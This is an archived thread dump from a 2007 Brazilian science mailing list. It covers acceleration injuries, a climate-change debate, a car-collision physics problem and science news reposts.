> scientific expertise to keep our Academy strong and ever more
prestigious,
> enhancing its national and international impact and relevance.
>
> Confesso que fiquei surpresa ao receber este honroso convite do
> presidente Jacob Palis. Em termos aleatórios, a chance de que uma
Acadêmica
> fosse escolhida entre os atuais membros seria de 10%.
>
> Na minha área, das Ciências Físicas, a probabilidade de
escolha de uma
> mulher não chega a 5%.
>
> Suspeito que a escolha não tenha sido aleatória, mas uma forma de
> manifestar a intenção da ABC de valorizar e incentivar a presença das
> mulheres na ciência.
>
> Seria enorme desperdício para a humanidade abrir mão de metade
dos
> talentos potenciais para a ciência, caso o trabalho científico
continuasse
> sendo visto como uma atividade predominantemente masculina.
>
> É importante sinalizar para a sociedade, particularmente para as
> jovens estudantes, que as ciências apresentam opções profissionais
> atraentes, viáveis e gratificantes também para elas.
>
> Para isso contribui o ingresso hoje de nossas colegas Ângela
Maria,
> Berenice, Maria Assunção, e Miriani.
>
> Permitam-me prosseguir na saudação aos novos acadêmicos em
estilo um
> pouco mais pessoal. Seguindo o simbolismo da escolha pela direção da
ABC,
> dirijo especiais boas-vindas à minha colega Miriani, que ingressa na
área
> das Ciências Físicas (nos conhecemos há 20 anos, quando participamos do
> Comitê Assessor de Física e Astronomia do CNPq).
>
> Como boa Astrônoma, especialista em estrelas e galáxias,
Miriani já
> chega em alta, elevando para 6% a proporção feminina nas Ciências
Físicas.
>
> Os fenômenos astronômicos sempre maravilharam a humanidade. Sua
> compreensão e formulação em termos de leis fundamentais da Física
tiveram
> início com Galileu Galilei, cientista italiano que viveu de 1564 a 1642.
>
> Naquela época, a explicação vigente para o movimento dos
corpos havia
> sido concebida por Aristóteles, quase 2000 anos antes: Aristóteles
dividia o
> universo entre "Mundo Terrestre" e "Mundo Celeste".
>
> Os 4 elementos existentes no "Mundo Terrestre", terra, água, ar e
> fogo, tenderiam a deslocar-se para seu "lugar natural":
>
> 1) Terra e água: para baixo.
>
> 2) Ar e fogo: para cima.
>
> Já os corpos do "Mundo Celeste", sendo constituídos de uma "5ª
> essência" ou "essência divina", teriam como estado natural o
movimento em
> torno da Terra.
>
> Com isso estava explicado o movimento dos corpos celestes, no
centro
> dos quais a Terra permaneceria fixa - a chamada concepção geocêntrica.
>
> Galileu utilizou uma luneta para observar o movimento dos
planetas e
> seus satélites, e, com base em suas observações e na elaboração
matemática
> dos resultados, refutou as explicações vigentes e o modelo
geocêntrico para
> o universo.
>
> As conseqüências disso na época são bem conhecidas: Por ter
> questionado publicamente o modelo geocêntrico, Galileu foi acusado pelo
> tribunal do Santo Ofício em 1633 e obrigado a renegar sua convicção
de que a
> Terra se deslocava no espaço. Seus livros foram proibidos e seu
processo
> permaneceu arquivado por 350 anos.
>
> Isso não impediu que a humanidade viesse a reconhecê-lo como
aquele
> que inaugurou o método científico moderno, que une a observação
empírica, a
> elaboração de modelos e sua verificação experimental, abrindo o
caminho para
> a ciência newtoniana e para a investigação científica como a
conhecemos e
> praticamos hoje.
>
> É surpreendente por isso testemunharmos - nos dias que correm
- atos e
> declarações de autoridade do poder Judiciário do nosso país,
baseados em
> convicções de natureza religiosa, que ameaçam a continuidade de
pesquisas
> científicas extremamente relevantes realizadas no Brasil.
>
> Refiro-me ao trabalho com células-tronco embrionárias visando
> aplicações terapêuticas.
>
> São fatos como esses que não permitem esquecer que a prática da
> ciência, que tantos, e essenciais, e indiscutíveis benefícios tem
trazido à
> humanidade, requer constantemente, perseverantemente, de todos, e
> particularmente de nós cientistas, a defesa dos princípios e do método
> científico.
>
> A mentalidade aberta e desprovida de preconceitos, como nos
ensinou
> Galileu, é indispensável para a geração do verdadeiro conhecimento."
>
>
> [As partes desta mensagem que não continham texto foram removidas]
>




SUBJECT: Fw: Efeitos da aceleracao no corpo humano
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 04/06/2007 20:04

Help biológico.
Se esse help estiver devidamente didático será acrescentado ao item "aceleração" do Feira ... com créditos e agradecimentos.

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: Kaue Barbosa
Para: leobarretos@uol.com.br
Enviada em: segunda-feira, 4 de junho de 2007 16:19


Olá
Estive em sue site (www.feiradeciencias.com.br) e achei muito legal ...
Só que o que preciso não achei
Gostaria de saber se vc tem algum lugar específico para eu achar pois já entrei em varios sites e não achei NADA relacionado ao assunto

O Tema Da Pesquisa é este :

QUE TIPOS DE DANOS CAUSAM AS GRANDES ACELERAÇÕES AO CORPO HUMANO !




Aguardo resposta

Grato

Kauê


--------------------------------------------------------------------------------
Torpedo Messenger- Envie torpedos do messenger para o celular da galera. Descubra como aqui!


--------------------------------------------------------------------------------


No virus found in this incoming message.
Checked by AVG Free Edition.
Version: 7.5.472 / Virus Database: 269.8.6/827 - Release Date: 01/06/2007 09:54


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Fw: Efeitos da aceleracao no corpo humano
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 04/06/2007 21:45

Depende. De se a aceleração é lateral, se é frontal, se é de frenagem,
se é para cima ou para baixo... Depende de se o jerk é alto ou baixo.
De se as partes do corpo estão apoiadas ou não...

Por exemplo, se estivermos no carro sentado e a cabeça não estiver
apoiada, uma batida traseira pode fazer com q a coluna (e a medula)
cervical seja lesionada com a cabeça sendo subitamente atirada para
trás (relativamente ao corpo). Estaremos falando de uma aceleração na
ordem de 5 g.

Em certas manobras de caças, os pilotos são submetidos a aceleração
lateral de 9 g. O coração pode não conseguir bombear o sangue contra o
gradiente de pressão. Não é raro ocorrer uma falta de fluxo sangüíneo
na retina, causando uma perda momentânea de visão. O fluxo pode ficar
diminuído para o cérebro ocasionando desmaios.

Podem ocorrer rupturas de vasos sangüíneos, em particular dos mais
delicados, lesão de músculos, fraturas...

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
> Help biológico.
> Se esse help estiver devidamente didático será acrescentado ao item
> "aceleração" do Feira ... com créditos e agradecimentos.

> -----Mensagem Original-----
> De: Kaue Barbosa
>
> O Tema Da Pesquisa é este :
>
> QUE TIPOS DE DANOS CAUSAM AS GRANDES ACELERAÇÕES AO CORPO HUMANO !




SUBJECT: Re: Petição contra o aquecimento global
FROM: "ssilva" <ssilva@smad.curitiba.pr.gov.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 05/06/2007 11:59

Dois pequenos comentários:

>From: rmtakata
>usar aquecimento solar (há sistemas mais complexos e mais caros, mas
>há tb soluções caseiras interessantes:
>http://www.tvcultura.com.br/reportereco/materia.asp?materiaid=104);


A Secretaria do Meio Ambiente do Paraná disponibiliza um manual para um modelo diferente do citado acima: http://www.pr.gov.br/meioambiente/pdf/solar.pdf


From: rmtakata
>- substituir aparelhos elétricos por sistemas manuais: facas,
>barbeadores, MÁQUINAS DE LAVAR, abridores de lata, processadores de
>alimento, etc. [meu grifo]


Máquinas de lavar, né? Heh, esta é talvez, na minha opinião, a única opção difícil de se aplicar, Takata. Pelo menos eu teria que ser o cara mais persuasivo do mundo e convencer a minha esposa que é para o bem do meio-ambiente. Ainda assim seria mais provável que ela me jogaria na rua antes do que se livrar da máquina de lavar. ;-)


Sandro Silva

[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: Petição contra o aquecimento global
FROM: "Alair Castro" <aidaubitiite@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/06/2007 13:10

Um grupo expressivo de cientistas e estudiosos (com publicações em revistaas
de alto fator de impacto) tem uma opinião contrária ao aquecimento global;
insistem que a Terra está em progressivo congelamento, aliás o que causou um
grande pânico na década de 70 (publucações e capa da Reista Time).
O contraditório está sendo puco divulgado.
Enquanto isso, está fazendo um frio danado até na Bahia, -36 no Canadá, o
Ártico em pleno incremento de congelamento bem como as maiores áreas da
Antártica.


Em 05/06/07, ssilva <ssilva@smad.curitiba.pr.gov.br> escreveu:
>
> Dois pequenos comentários:
>
> >From: rmtakata
> >usar aquecimento solar (há sistemas mais complexos e mais caros, mas
> >há tb soluções caseiras interessantes:
> >http://www.tvcultura.com.br/reportereco/materia.asp?materiaid=104);
>
> A Secretaria do Meio Ambiente do Paraná disponibiliza um manual para um
> modelo diferente do citado acima:
> http://www.pr.gov.br/meioambiente/pdf/solar.pdf
>
> From: rmtakata
> >- substituir aparelhos elétricos por sistemas manuais: facas,
> >barbeadores, MÁQUINAS DE LAVAR, abridores de lata, processadores de
> >alimento, etc. [meu grifo]
>
> Máquinas de lavar, né? Heh, esta é talvez, na minha opinião, a única opção
> difícil de se aplicar, Takata. Pelo menos eu teria que ser o cara mais
> persuasivo do mundo e convencer a minha esposa que é para o bem do
> meio-ambiente. Ainda assim seria mais provável que ela me jogaria na rua
> antes do que se livrar da máquina de lavar. ;-)
>
> Sandro Silva
>
> [As partes desta mensagem que não continham texto foram removidas]
>
>
>


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: Petição contra o aquecimento global
FROM: "Esteban Moreno" <estebanlmoreno@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/06/2007 13:23

Disseram-me, não especialistas, que a maior causa do aquecimento
global é o consumo da carne bovina, tanto pela pastagem quanto pelos
arrotos e flatulências recheadas de CH4. Alguém já viu alguma espécie
de ranking sobre o efeito de nossos hábitos de consumo no aquecimento
global?
Um dos itens mais importantes deveria ser o controle da natalidade.
Esteban.


Em 04/06/07, rmtakata <roberto.takata@bol.com.br> escreveu:
>

>
> Protestar, ok.
>
> Agora como *agir* contra o aquecimento global.
>
> - Consuma menos energia. Muito da energia pode ser economizada sem
> reduzir o nível de conforto:
> *apagar a luz de cômodos em que não está ninguém;
> *não deixar aparelhos elétricos funcionando sem necessidade - ajustar
> o timer da TV para apagar depois de um tempo, se vc costuma dormir no
> meio, usar a máquina de lavar e de secar (roupas, louças, etc) no
> máximo da capacidade de fábrica (não subutilizar nem sobrecarregar);
> *usar lâmpadas fluorescentes (as compactas não exigem instalação
> especial, adaptando-se ao soquete de rosca das lâmpadas
> incandescentes) - são mais caras, mas representam uma economia no
> bolso ao final (o ideal mm são as lâmpadas de LED de alto desempenho,
> mas ainda são muito caras - embora tb compensem ao final);
> *não abrir a geladeira sem necessidade e ajustar o termostato de
> acordo com a época (no inverno ele pode ser regulado para um menor
> consumo);
> *ajustar a temperatura do chuveiro de acordo com a do ambiente (no
> verão não é preciso tomar banho bem quente);
> [A matriz energética residencial brasileira ainda é em grande medida
> hidrelétrica, mas uma menor pressão de consumo significa uma menor
> necessidade de uso e ampliação das instalações termelétricas. Além
> disso, novas hidrelétricas significam redução de áreas florestais.]
>
> -Consuma menos combustíveis fósseis.
> *Dê preferência ao transporte coletivo;
> *Compre carros multicombustíveis;
>
> - Consuma menos carne, especialmente de gado.
> *As novas áreas de pastagens avançam sobre florestas (diretamente ou
> empurrando a fronteira de soja);
> *Criação de gado gera quantidades significativas de metano;
> *Carvão vegetal não-certificado derruba áreas de caatinga e outras
> formações vegetais.
> (Naturalmente não é pra reduzir abaixo do nível saudável.]
>
> - Colabore com projetos de reflorestamento.
> *Por quatro reais, eu planto uma muda de uma árvore nativa. (Mas há
> projetos q saem mais em conta.)
>
> []s,
>
> Roberto Takata
>


SUBJECT: Re: Petição contra o aquecimento global
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/06/2007 14:03

--- Em ciencialist@yahoogrupos.com.br, "ssilva" <ssilva@...> escreveu
> mais persuasivo do mundo e convencer a minha esposa que é para o bem
> do meio-ambiente. Ainda assim seria mais provável que ela me jogaria
> na rua antes do que se livrar da máquina de lavar. ;-)

Deixe de ser machista e dê uma ajuda nas tarefas domésticas. rere

[]s,

Roberto Takata



SUBJECT: Re: Petição contra o aquecimento global
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/06/2007 14:05

--- Em ciencialist@yahoogrupos.com.br, "Alair Castro"
> Ártico em pleno incremento de congelamento bem como as maiores áreas
> da Antártica.

Os *dados* indicam o contrário: degelo na Antártica e na Groenlândia.

[]s,

Roberto Takata



SUBJECT: Re: Petição contra o aquecimento global
FROM: "Eduardo Torres" <dudutorres@yahoo.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/06/2007 14:52

Creio q o q se pode afirmar e':

1-Tudo leva a crer q esta' havendo um aquecimento global levando-se em
conta dados meteorologicos dos ultimos 100 anos. Mas como os calculos
de temperatura media global embutem incertezas, ha' um componente
estimativo ai'.

2-Constata-se reducao de areas geladas no planeta nos ultimos 20 anos.

3-Constata-se um aumento da concentracao de CO2 na atmosfera por dados
coletados recentes (algumas decadas) e dados coletados em gelo antigo
(alguns milhares de anos).

4-Analise isotopica do CO2 atmosferico sugere q parte significativa do
aumento e' de fato de origem antropogenica (queima de combustiveis
fosseis).

5-CO2 e' um ga's q causa efeito estufa.

E' so' o q podemos afirmar.

A conclusao q o CO2 atmosferico e' a causa unica ou principal do
aquecimento global, se este e' de fato uma realidade e nao uma
oscilacao natural ou erro de estimativa nos calculos, e' uma ilacao.
Pode ou nao ser verdade.

Alguns cientistas consideram q as causas principais podem estar ligadas
aa acao solar e/ou aos movimentos da Terra. Nesse caso uma reducao de
CO2 antropogenico pode ter pouca consequencia no aquecimento global,
caso esteja ocorrendo por outros motivos.

Abs,
Eduardo Torres


Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
escreveu
>
> --- Em ciencialist@yahoogrupos.com.br, "Alair Castro"
> > Ártico em pleno incremento de congelamento bem como as maiores
áreas
> > da Antártica.
>
> Os *dados* indicam o contrário: degelo na Antártica e na Groenlândia.
>
> []s,
>
> Roberto Takata
>




SUBJECT: P/ Alair - Re: Petição contra o aquecimento global
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/06/2007 16:10

Olá Alair

É preciso cuidado com análises de clima pontuais, pois podem mascarar
efeitos e confundir as conclusões. Por exemplo, este trecho de sua
mensagem:

Alair: "Enquanto isso, está fazendo um frio danado até na Bahia, -36
no Canadá,"

O fato de fazer muito frio na Bahia, pode ser fruto direto do
aquecimento global, que não significa que TODO o planeta se aquece ao
mesmo tempo, ou que todas as áreas se aqueçam por igual. Significa
apenas que a média global sobe, e que isso afeta todos os
micro-climas, inclusive causando baixas temperaturas onde não é comum
isso ocorrer.

Um exemplo, embora ficcional e bem exagerado, pode ser visto no filme
O Dia Depois de Amanhã, onde o aquecimento global faz "parar" o fluxo
de correntes do Atlantico, o que causa a invasão de ar frio no Canadá
e USA de forma catastrófica. Mesmo sendo, bastante, ficcional, isso
demonstra como o clima global é complexo e interligado.

O modelo de aquecimento global, mesmo os mais cautelosos, também
prevêem frio intenso em determinados países e estações. Verões
extremamente quentes e invernos extremamente frios, embora mais curtos
que o normal. Também prevê que estações fiquem confusas, com frio
intenso em meses onde não deveria acontecer (como agora) e invernos
menos frios ou mais curtos do que o normal.

O derretimento de geleiras e das neves eternas do Kilimanjaro são
exemplos de uma mudança global, mas mesmo as frentes frias mais
intensas são evidencias do aquecimento global.

Um abraço.

Homero





SUBJECT: Calculo de Colisao
FROM: luiz rodrigo <baygonbr@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/06/2007 18:05

Prezados Colegas, alguem poderia orientar a solucao do problema abaixo:

Suponha dois veiculos A e B deslocando-se, em um piso com coeficiente de atrito de 0,7, em mesma direcao onde eles irão colidir e engavetar. Antes da colisao A tem massa igual a 1080 Kg, V=? e B tem 930 Kg e encontra-se em repouso. Apos o veiculo A bater atras de B o veiculo B foi impulsionado ate uma distancia de 38 m do ponto de colisao. Pergunta-se, qual a estimativa de velocidade do A antes da colisao?


Atenciosamente

Luiz Grochocki


---------------------------------
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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Calculo de colisao
FROM: luiz rodrigo <baygonbr@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/06/2007 18:17

Prezados Colegas, alguem poderia orientar a solucao do problema abaixo:

Suponha dois veiculos A e B deslocando-se, em um piso com coeficiente de atrito de 0,7, em mesma direcao onde eles irão colidir e engavetar. Antes da colisao A tem massa igual a 1080 Kg, V=? e B tem 930 Kg e encontra-se em repouso. Apos o veiculo A bater atras de B o veiculo B foi impulsionado ate uma distancia de 38 m do ponto de colisao. Pergunta-se, qual a estimativa de velocidade do A antes da colisao?


Atenciosamente

Luiz Grochocki


---------------------------------
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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Calculo de Colisao
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/06/2007 18:23

Vamos por partes. Depois da colisão B vai se deslocar para a frente e
vai parar em um certo ponto. Ok. Então pensemos: quem faz B parar?

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, luiz rodrigo <baygonbr@...>
> Prezados Colegas, alguem poderia orientar a solucao do problema abaixo:
>
> Suponha dois veiculos A e B deslocando-se, em um piso com
coeficiente de atrito de 0,7, em mesma direcao onde eles irão colidir
e engavetar. Antes da colisao A tem massa igual a 1080 Kg, V=? e B tem
930 Kg e encontra-se em repouso. Apos o veiculo A bater atras de B o
veiculo B foi impulsionado ate uma distancia de 38 m do ponto de
colisao. Pergunta-se, qual a estimativa de velocidade do A antes da
colisao?



SUBJECT: Re: [ciencialist] Re: Petição contra o aquecimento global
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 05/06/2007 18:41

Esteban:
proibir o consumo da batata dôce seria uma boa....

silvio.
----- Original Message -----
From: Esteban Moreno
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, June 05, 2007 1:23 PM
Subject: Re: [ciencialist] Re: Petição contra o aquecimento global


Disseram-me, não especialistas, que a maior causa do aquecimento
global é o consumo da carne bovina, tanto pela pastagem quanto pelos
arrotos e flatulências recheadas de CH4. Alguém já viu alguma espécie
de ranking sobre o efeito de nossos hábitos de consumo no aquecimento
global?
Um dos itens mais importantes deveria ser o controle da natalidade.
Esteban.

Em 04/06/07, rmtakata <roberto.takata@bol.com.br> escreveu:
>

>
> Protestar, ok.
>
> Agora como *agir* contra o aquecimento global.
>
> - Consuma menos energia. Muito da energia pode ser economizada sem
> reduzir o nível de conforto:
> *apagar a luz de cômodos em que não está ninguém;
> *não deixar aparelhos elétricos funcionando sem necessidade - ajustar
> o timer da TV para apagar depois de um tempo, se vc costuma dormir no
> meio, usar a máquina de lavar e de secar (roupas, louças, etc) no
> máximo da capacidade de fábrica (não subutilizar nem sobrecarregar);
> *usar lâmpadas fluorescentes (as compactas não exigem instalação
> especial, adaptando-se ao soquete de rosca das lâmpadas
> incandescentes) - são mais caras, mas representam uma economia no
> bolso ao final (o ideal mm são as lâmpadas de LED de alto desempenho,
> mas ainda são muito caras - embora tb compensem ao final);
> *não abrir a geladeira sem necessidade e ajustar o termostato de
> acordo com a época (no inverno ele pode ser regulado para um menor
> consumo);
> *ajustar a temperatura do chuveiro de acordo com a do ambiente (no
> verão não é preciso tomar banho bem quente);
> [A matriz energética residencial brasileira ainda é em grande medida
> hidrelétrica, mas uma menor pressão de consumo significa uma menor
> necessidade de uso e ampliação das instalações termelétricas. Além
> disso, novas hidrelétricas significam redução de áreas florestais.]
>
> -Consuma menos combustíveis fósseis.
> *Dê preferência ao transporte coletivo;
> *Compre carros multicombustíveis;
>
> - Consuma menos carne, especialmente de gado.
> *As novas áreas de pastagens avançam sobre florestas (diretamente ou
> empurrando a fronteira de soja);
> *Criação de gado gera quantidades significativas de metano;
> *Carvão vegetal não-certificado derruba áreas de caatinga e outras
> formações vegetais.
> (Naturalmente não é pra reduzir abaixo do nível saudável.]
>
> - Colabore com projetos de reflorestamento.
> *Por quatro reais, eu planto uma muda de uma árvore nativa. (Mas há
> projetos q saem mais em conta.)
>
> []s,
>
> Roberto Takata
>





------------------------------------------------------------------------------


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SUBJECT: The ultimate battery?
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br, FreeEnergy-BR@yahoogrupos.com.br, pedraderoseta@yahoogrupos.com.br
DATE: 05/06/2007 19:04

( pode interessar! )


>To: free_energy@yahoogroups.com
>Subject: [free_energy] The ultimate battery?
>Date: Tue, 5 Jun 2007 09:16:54 -0500
>
>Altairnano's NanoSafe battery has most or all of the characteristics
>needed: rapid charge/discharge time (10 minutes?), life in the
>thousands of charge/discharge cycles, high energy density, and no fire
>problems like the ones that have recently plagued some Li-ion
>manufacturers.
>
>http://www.altairnano.com/documents/NanoSafeBackgrounder060920.pdf
>
>At a quoted price of $2/W-h, the cost is still too high but will
>probably come down as manufacturing ramps up.
>
>Regards,
>M.R.F.
>Agent 00e
>I prefer pi.
>
>
>




SUBJECT: com endereço certo
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: pedraderoseta@yahoogrupos.com.br, ciencialist@yahoogrupos.com.br
DATE: 05/06/2007 19:09

( bela frase... o René sabia do que falava...)

''Quote of the Day

"The main reason for our mistakes comes from our childhood prejudices,
principles of whose accuracy I let myself be persuaded in my youth without
having examined their authenticity."
- René Descartes ''

( o cético que não sabe ler permanecerá mais feliz! )
Sinceramente, M.




SUBJECT: in Tecnociência:
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <redeliberal@yahoogrupos.com.br>
DATE: 05/06/2007 19:10

Revelados dados sobre a evolução dos cromossomos



Cientistas do Centro espanhol de Biologia Molecular Severo Ochoa revelaram dados sobre a evolução dos cromossomos, a partir de uma teoria pela qual os centrômeros eucariontes procederiam dos telômeros (extremos cromossômicos), indicou nesta segunda-feira um dos autores da pesquisa, José Pascual Abad.

Segundo o cientista, cujo trabalho está publicado no último número da revista "PNAS", caso essa teoria seja desenvolvida, "pode ajudar a compreender como funcionam os centrômeros".

"Poderíamos tentar construir cromossomos artificiais que, em algum momento, servissem para fazer tratamentos genéticos", afirmou.

Além disso, acrescentou, "muitas doenças ocorrem devido ao mau funcionamento dos centrômeros, algo que sabemos muito pouco".

O comportamento dos cromossomos eucariontes se deve, em grande parte, a duas regiões cromossômicas: os centrômeros (cuja função é facilitar a separação ou segregação correta do material genético às células filhas durante o processo de duplicação celular), e os telômeros (extremos dos cromossomos).

Quando estes elementos cromossômicos não funcionam adequadamente, se produz inviabilidade celular, e podem ocorrer doenças genéticas, como, por exemplo, uma segregação cromossômica anormal, causa de cânceres e da maioria dos abortos naturais.

"Conhecemos muito pouco sobre o funcionamento dos centrômeros", disse à Efe o químico Jose Pascual Abad, acrescentando que, "saber mais sobre eles ajudaria a compreender certas doenças ou construir cromossomos que poderiam ser usados para curar outros genes".

O cientista indicou que, para a elaboração de sua teoria sobre como se deu a evolução, desde as bactérias (células primitivas) até as eucariontes (mais complexas e avançadas), foram utilizados dados de pesquisas dos últimos quinze anos e de toda "a literatura" a esse respeito.

Ele destacou ainda que sua teoria é apenas uma idéia sobre como teriam evoluído os cromossomos, de bactérias até organismos eucariontes superiores.

"Mas se (a teoria) for mais desenvolvida, pode nos permitir compreender muito bem como funcionam os centrômeros", afirmou.


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SUBJECT: Re: [ciencialist] Re: Calculo de Colisao
FROM: luiz rodrigo <baygonbr@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/06/2007 19:20

Parte 1: Acho que quem faz B para é a Forca de atrito.

rmtakata <roberto.takata@bol.com.br> escreveu:
Vamos por partes. Depois da colisão B vai se deslocar para a frente e
vai parar em um certo ponto. Ok. Então pensemos: quem faz B parar?

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, luiz rodrigo <baygonbr@...>
> Prezados Colegas, alguem poderia orientar a solucao do problema abaixo:
>
> Suponha dois veiculos A e B deslocando-se, em um piso com
coeficiente de atrito de 0,7, em mesma direcao onde eles irão colidir
e engavetar. Antes da colisao A tem massa igual a 1080 Kg, V=? e B tem
930 Kg e encontra-se em repouso. Apos o veiculo A bater atras de B o
veiculo B foi impulsionado ate uma distancia de 38 m do ponto de
colisao. Pergunta-se, qual a estimativa de velocidade do A antes da
colisao?






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SUBJECT: Re: Calculo de Colisao
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/06/2007 19:26

--- Em ciencialist@yahoogrupos.com.br, luiz rodrigo <baygonbr@...>
> Parte 1: Acho que quem faz B para é a Forca de atrito.

Ok. E qual a intensidade dela?

(Acho q vai faltar o dado da velocidade do carro A depois do impacto.)

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: Calculo de Colisao
FROM: luiz rodrigo <baygonbr@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/06/2007 20:17

Pestiou a lebre entao!

rmtakata <roberto.takata@bol.com.br> escreveu: --- Em ciencialist@yahoogrupos.com.br, luiz rodrigo <baygonbr@...>
> Parte 1: Acho que quem faz B para é a Forca de atrito.

Ok. E qual a intensidade dela?

(Acho q vai faltar o dado da velocidade do carro A depois do impacto.)

[]s,

Roberto Takata






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SUBJECT: Re: Calculo de Colisao
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/06/2007 20:49

--- Em ciencialist@yahoogrupos.com.br, luiz rodrigo <baygonbr@...>
> Pestiou a lebre entao!

Se bem q fala em engavetamento, poderíamos considerar nesse caso um
choque inelástico.

[]s,

Roberto Takata



SUBJECT: A febre da febre das tulipas holandesas
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 05/06/2007 21:39

A febre da febre das tulipas
holandesas<http://www.ceticismoaberto.com/news/?p=897>

"O termo mania das tulipas ou tulipamania originou-se na crise gerada pelo
surto especulativo ocorrido na história da Holanda do século XVII, quando um
bulbo de tulipa passou a ser vendido pelo preço equivalente a 24 toneladas
de trigo, supervalorizando-se de maneira insustentável. O ápice da bolha
ocorreu entre os anos de 1636 e 37, quando esta fatalmente estourou. Este
fato ocorrido na Holanda foi relembrado em parte devido a sua ampla
discussão no livro *Memorando de extraordinários engodos populares e a
loucura das multidões*, escrito pelo popular jornalista inglês Charles
Mackay".
Ocorre que há poucas referências confiáveis que apóiem a versão da história
contada por Mackay, e visões
alternativas<http://en.wikipedia.org/wiki/Tulip_craze#Competing_views>sugerem
que a bolha teve dimensões e conseqüências muito menores do que a
catástrofe que todos conhecem. A autora Anne Goldgar, por exemplo, não pôde
encontrar nenhum registro de falência causada pela febre das tulipas, como
esta resenha de seu livro (em inglês)
comenta<http://www.ft.com/cms/s/50e2255e-0025-11dc-8c98-000b5df10621.html>.
É especialmente curioso que um livro tão seminal sobre mitos, lendas e
histerias como o de Mackay seja uma das principais fontes de um mito
moderno. Claro que seria apenas um lapso em uma obra volumosa que permanece
tão relevante como há dois séculos, mas não deixa de ser curioso.
[via Museumofhoaxes<http://www.museumofhoaxes.com/hoax/weblog/permalink/tulipmania/>
]

Postado em Fortianismo <http://www.ceticismoaberto.com/news/?cat=4>,
Curiosidades <http://www.ceticismoaberto.com/news/?cat=7>,
Ceticismo<http://www.ceticismoaberto.com/news/?cat=12>| Por Mori
Comente!
» <http://www.ceticismoaberto.com/news/?p=897#respond>

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SUBJECT: Janelas ao abismo: cavernas marcianas
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, UFO_PORTUGAL@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 05/06/2007 21:41

Janelas ao abismo: cavernas
marcianas<http://www.ceticismoaberto.com/news/?p=895>

<http://planetary.org/blog/article/00000984>
O buraco acima � uma de sete poss�veis entradas a cavernas subterr�neas
identificadas em� Marte! Apelidade de Jeanne, a imagem foi capturada em
alt�ssima resolu��o � 25 cm por pixel � na esperan�a de que revelasse algo
sobre seu interior. Mas como a imagem filtrada � direita mostra, o interior
do buraco � total, completa, inteiramente negro. Um buraco negro, que pode
n�o sugar a luz, mas � t�o profundo que nenhuma luz que adentra � refletida
de volta � superf�cie. Como Emily Lakdawalla, da Planetary Society de Sagan
comenta, "[N�o sabemos] como o interior desta caverna se parece. Pode bem
ser uma das maiores profundidades do espa�o. "Aqui h� drag�es". O que h� l�
embaixo? H� estalactites, estalagmites e cristais, ou apenas uma vasta sala
ou t�nel abertos? Talvez estes locais sejam explorados por espelologistas
marcianos algum dia. Mas � um dia distante, estou certa".

Postado em Curiosidades <http://www.ceticismoaberto.com/news/?cat=7>,
Ci�ncia <http://www.ceticismoaberto.com/news/?cat=11> | Por Mori
Comente! �<http://www.ceticismoaberto.com/news/?p=895#respond>

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SUBJECT: Vídeo de helicóptero OVNI
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, UFO_PORTUGAL@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 05/06/2007 21:41

V�deo de helic�ptero OVNI <http://100nexos.com/arquivo/163>Assista ao
v�deo<http://100nexos.com/arquivo/163>
